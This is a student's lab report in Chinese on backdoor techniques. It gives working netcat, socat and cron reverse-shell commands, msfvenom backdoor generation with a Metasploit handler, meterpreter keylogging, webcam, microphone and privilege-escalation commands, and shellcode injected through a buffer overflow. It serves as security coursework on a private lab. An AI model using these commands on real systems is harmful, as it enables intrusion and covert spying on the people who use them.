目录

1.使用netcat获取主机操作Shell,cron启动

1.1 知识与概念

nc(全称是netcat)是一个用于TCP/UDP连接和监听的linux工具,有着网络工具中的“瑞士军刀”的美誉。nc的实现版本大致有两种,一种是带有-e-c选项可以直接给出执行命令,另一种不支持-e选项。

ncat是nmap项目的一部分,在安装nmap的时候会自动安装ncat。ncat号称“21世纪的netcat”,是对netcat的重新实现和升级,而且功能更加强大(如ssl加密、代理连接通过socks4 获取http)

1.2 实验准备

  • 关闭win10的防火墙

  • 先安装apt-get install ufw,然后再输入指令ufw disable关闭kali防火墙

  • 输入ipconfig获得win10的IP

  • 输入ip add获得kali的IP

1.3 Win获得Linux Shell

  • windows打开监听,指令为ncat.exe -l -p 5110

  • kali反弹连接Windows,指令为nc 192.168.78.1 5110 -e /bin/sh

  • 之后可以发现windows获得linux shell。可以执行指令Linux指令ls

1.4 Linux获得Win Shell

  • kali运行监听指令监听端口nc -l -p 5110

  • Windows反弹连接Linuxncat.exe -e cmd.exe 192.168.78.128 5110

  • kali获得了Windows的命令行提示,可以执行dir指令

  • 有关mac的实验由于没有环境所以没办法进行

1.5 利用nc传输数据

  • 利用nc从kali向Windows之间传输数据

  • Windows输入ncat.exe -l 5110 > file.out(将kali输入数据输出的file.out文件,注:file.out文件使用txt打开)

  • kali运行指令为nc 192.168.78.1 5110 < file.in(将file.in文件中数据发送给Windows)

1.6 启动cron

  • Windows打开端口监听nact -l -p 5110

  • kali这里输入指令crontab -e,选择3,在最后一行添加35 7 14 3 * /bin/netcat 192.168.78.1 5110 -e /bin/sh,可以发现到时间Windows就获得了shell

返回目录

2.使用socat获取主机操作Shell, 任务计划启动

2.1 知识与概念

socat也是一款很不错的网络工具,可以认为是nc的加强版。作为一款双向数据流通道工具,它拥有许多强大的功能:端口的连接、端口侦听、收发文件、传递shell、端口转发、端口扫描等。

这里我们只把socat作为传递shell的工具使用。

2.2 使用socat获取主机操作Shell,cron启动

  • 右击此电脑,点击管理,点击任务计划程序,再点击创建任务

  • 填写任务名,新建一个触发器,选择按预定计划

  • 点击操作,在程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:5110 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口5110,同时把cmd.exe的stderr重定向到stdout上:

  • 创建好后任务准备就绪

  • 到达预定时间后,再次打开时,可以发现之前创建的任务已经开始运行,并且会弹出一个cmd窗口,弹出的cmd窗口别关闭。此时,在kali中输入输入指令socat - tcp:192.168.78.1:5110,这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的5110端口,此时可以发现已经成功获得了一个cmd shell

返回目录

3.使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

  • 在Kali上执行指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.78.128 LPORT=5110 -f exe > meter_backdoor.exe这里的IP地址为控制端IP,即kali的IP,生成后门程序“meter_backdoor.exe”

  • 在Windows下执行ncat.exe -l 5110 > meter_backdoor.exe,这样被控主机就进入了接收文件模式,在kali中执行nc 192.168.78.1 5121 < meter_backdoor.exe(注:这里的IP为被控主机IP,即Windows的IP)

  • 这时可以看到win成功接受了kali的exe文件

  • 在kali上使用msfconsole指令进入msf控制台

  • 输入use exploit/multi/handler使用监听模块,设置payload

  • set payload windows/meterpreter/reverse_tcp,使用和生成后门程序时相同的payload

  • set LHOST 192.168.78.128,这里用的是Kali的IP,和生成后门程序时指定的IP相同

  • set LPORT 5110,同样要使用相同的端口

  • 设置完成之后,输入指令exploit执行监听,并运行Windows下的后门程序,此时kali上已经获得了Windows主机的连接,并且得到了远程控制的shell

返回目录

4.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

  • 使用record_mic指令可以截获一段音频

  • 使用webcam_snap指令可以使用摄像头进行拍照(注:电脑摄像头坏了,同时我使用的是VMplayer版本,不支持摄像头所以没有照片)

  • 使用screenshot指令可以进行截屏

  • 使用keyscan_start指令记录下击键的过程,使用keyscan_dump指令读取击键记录

  • 使用getuid指令查看当前用户,使用getsystem指令进行提权操作(注:win10的提取想了很多方法没有实现,经过和同学的交流,win7的提权应该是可行的)

返回目录

5.可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

  • 访问相关网站得到shellcode,通过实验一知我的shellcode起始地址为0xffffd6d0,把地址加在这段shellcode前面,在kali中用其生成input1文件。

    perl -e 'print "A" x 32;print"\xd0\xd6\xff\xff\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input1

  • 然后在另一个终端打开msfconsole,并打开监听

    use exploit/multi/handler

    set payload linux/x86/shell_reverse_tcp

    set LHOST 127.0.0.1 //根据shellcode的指定内容来选择的。

    set LPORT 4444 //根据shellcode的指定内容来选择的。

    show options

    exploit

  • 在原来的终端输入命令'(cat input1;cat) | ./pwn20175110',然后再按一次回车,在另一个终端就可以得到shell开始运行

返回目录

6.基础问题回答

(1)例举你能想到的一个后门进入到你系统中的可能方式?

我看过一部电影,其中黑客利用办公室一位女士喜欢猫的特点,给她发了一份邮件,下载一部关于猫的纪录片,在下载纪录片里隐藏了一个后门程序,然后获得里黑客想要的密码。由此可见,不知名的链接、下载等等,都会成为后门进入系统的渠道。

(2)例举你知道的后门如何启动起来(win及linux)的方式?

Windows:将建立链接的可执行文件伪装成文本文件、游戏、网页等诱导用户打开,与其他文件进行捆绑启动

linux:以具有跟源文件一样时戳的特洛伊木马程序版本来代替二进制程序

Cronjob定时运行后门,入侵者每天在该时刻可以访问

在启动区内隐藏后门

(3)Meterpreter有哪些给你映像深刻的功能?

能够读取其他计算机的大部分动作,比如屏幕截图、读取键盘、截取音频,随时可能被他人监视的感觉令人不寒而栗。

(4)如何发现自己有系统有没有被安装后门?

利用杀毒软件经常对自己的系统进行扫描,看看有没有出现不知名的文件

可以利用一些专业的软件监视自己的cpu、内存的运行和占用情况,看是否出现莫名的大量占用,电脑的运行是否卡死

检查服务器和启动项是否有一些可疑的文件

返回目录

7.实验总结与体会

这次实验,理论知识没有实验一要求的那么多,但是在操作方面遇到了很多问题,哪怕和同学交流,很多问题都是自己独有的。此次试验注重的还是细节,比如各种各样的事前准备,关闭防火墙、获取IP,如果不是老师之前讲过kali的防火墙怎么关闭,我可能还不知道kali自带防火墙。当然,实验能够顺利完成还是很让人兴奋的,尤其是Meterpreter,这与以前在信息安全课上做的实验很类似,信息安全是做了一个木马,然后植入,一个win获取了另一个win的一切,包括控制鼠标、键盘、摄像头,当时是直接用软件生成一个木马程序,经过这次实验,对后门的理解更进一步了,同时也明白信息安全、网络安全的前景确实任重而道远!

返回目录

2020-3-15 20175110王礼博 Exp2后门原理与实践的更多相关文章

  1. 20155204 王昊《网络对抗技术》EXP2 后门原理与实践

    20155204 王昊<网络对抗技术>EXP2 后门原理与实践 一.实验内容 准备工作(试用ncat.socat) 1. 使用netcat获取主机操作Shell,cron启动. 明确目标: ...

  2. 20155317王新玮《网络对抗》Exp2 后门原理与实践

    20155317王新玮<网络对抗>Exp2 后门原理与实践 一.实验内容 (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作Shell, 任务计划 ...

  3. 2018-2019-2 20165312《网络攻防技术》Exp2 后门原理与实践

    2018-2019-2 20165312<网络攻防技术>Exp2 后门原理与实践 课上知识点梳理总结 1.后门的概述 后门是指不经过正常认证流程而访问系统的通道 两个关键词:未认证.隐通道 ...

  4. 2017-2018-2 《网络对抗技术》 20155322 第五周 Exp2 后门原理与实践

    #2017-2018-2 <网络对抗技术> 20155322 第五周 Exp2 后门原理与实践 [博客目录] 1-实践目标 1.1-实践介绍 1.2-实践内容 1.3-实践要求 2-实践过 ...

  5. 2018-2019-2 20165237《网络对抗技术》Exp2 后门原理与实践

    2018-2019-2 20165237<网络对抗技术>Exp2 后门原理与实践 一.实践目标 使用netcat获取主机操作Shell,cron启动 使用socat获取主机操作Shell, ...

  6. 2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践 实验内容(概要): (1)使用netcat获取主机Shell,cron启动 首先两个电脑(虚拟机)都得有netcat, ...

  7. 2018-2019-2 网络对抗技术 20165206 Exp2 后门原理与实践

    - 2018-2019-2 网络对抗技术 20165206 Exp2 后门原理与实践 - 实验任务 (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用socat获取主 ...

  8. 2018-2019-2 20165235《网络对抗技术》Exp2 后门原理与实践

    2018-2019-2 20165235<网络对抗技术>Exp2 后门原理与实践 实验内容 1.使用netcat获取主机操作Shell,cron启动 2.使用socat获取主机操作Shel ...

  9. 2018-2019-2 网络对抗技术 20165317 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165317 Exp2 后门原理与实践 基础问题回答 例举你能想到的一个后门进入到你系统中的可能方式? 下载免费应用的时候会有绑定木马. 浏览某些网页时会有内 ...

随机推荐

  1. Css盒模型属性详解(margin和padding)

    Css盒模型属性详解(margin和padding) 大家好,我是逆战班的一名学员,今天我来给大家分享一下关于盒模型的知识! 关于盒模型的属性详解及用法 盒模型基本属性有两个:padding和marg ...

  2. Natas33 Writeup(Phar反序列化漏洞)

    Natas33: 又是一个上传文件的页面,源码如下: // graz XeR, the first to solve it! thanks for the feedback! // ~morla cl ...

  3. [组件封装]微信小程序-日历

    描述 切换月份, 当天文案为今天, 日期背景变色, 日期红点标识, 点击选中日期. 效果 源码 calendar.wxml <view class="component"&g ...

  4. VS2019 C++动态链接库的创建使用(3) - 如何导出类

    如何在动态链接库里导出一个类? ①在库头文件里增加一个类声明,class DLL1_API Point是将类内所有成员都导出,如果只导出某个成员函数,则只需在对应的成员函数前加DLL1_API即可: ...

  5. Spring框架——IOC 容器的创建与使用

    企业级开发框架 Spring Framework 是整个 Spring 生态的基础,各个模块都是基于 Spring Framework 衍生出来的. Spring 的两大核心机制 IOC 控制翻转.A ...

  6. Python Django撸个WebSSH操作Kubernetes Pod

    优秀的系统都是根据反馈逐渐完善出来的 上篇文章介绍了我们为了应对安全和多分支频繁测试的问题而开发了一套Alodi系统,Alodi可以通过一个按钮快速构建一套测试环境,生成一个临时访问地址,详细信息可以 ...

  7. Servlet(简介,请求参数,页面跳转,生命周期,创建,配置,ServletContext,线程)

    1.Servlet简介 servlet是java servlet的简称,称为小服务程序或服务连接器,用Java编写的服务器端程序, 主要功能在于交互式浏览和修改数据,生成动态的web内容 服务端运行的 ...

  8. 金融和IT的区别

    在进入金融圈之前, 我写了十五年的代码, 在San Francisco Bay Area(也就是中国人所说的硅谷)工作过两三年. 去年因为Fintech和香港.NET俱乐部的缘故, 我接触了私人银行和 ...

  9. 支持向量机(Support Vector Machine)

    本博客是针对Andrew NG在Coursera上发布的Machine Learning课程SVM部分的学习笔记. 目录 前言 最优化目标(Optimization Objective) 最大化边界的 ...

  10. 一文总结数据科学家常用的Python库(下)

    用于建模的Python库 我们已经到达了本文最受期待的部分 - 构建模型!这就是我们大多数人首先进入数据科学领域的原因,不是吗? 让我们通过这三个Python库探索模型构建. Scikit-learn ...